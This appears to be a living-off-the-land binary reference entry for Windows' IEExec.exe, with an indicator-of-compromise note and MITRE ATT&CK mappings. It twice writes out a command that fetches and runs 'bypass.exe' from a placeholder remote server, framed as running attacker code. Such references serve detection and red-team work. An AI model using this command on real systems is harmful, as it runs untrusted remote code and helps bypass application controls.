The IEExec.exe application is an undocumented Microsoft .NET Framework application that is included with the .NET Framework. You can use the IEExec.exe application as a host to run other managed applications that you start by using a URL.
IOC: Network connections originating from ieexec.exe may be suspicious
Download
Downloads and executes bypass.exe from the remote server.
ieexec.exe http://x.x.x.x:8080/bypass.exe
Usecase: Download and run attacker code from remote location
Privileges required: User
OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
MITRE ATT&CK®: T1105
Execute
Downloads and executes bypass.exe from the remote server.
ieexec.exe http://x.x.x.x:8080/bypass.exe
Usecase: Download and run attacker code from remote location
Privileges required: User
OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
MITRE ATT&CK®: T1218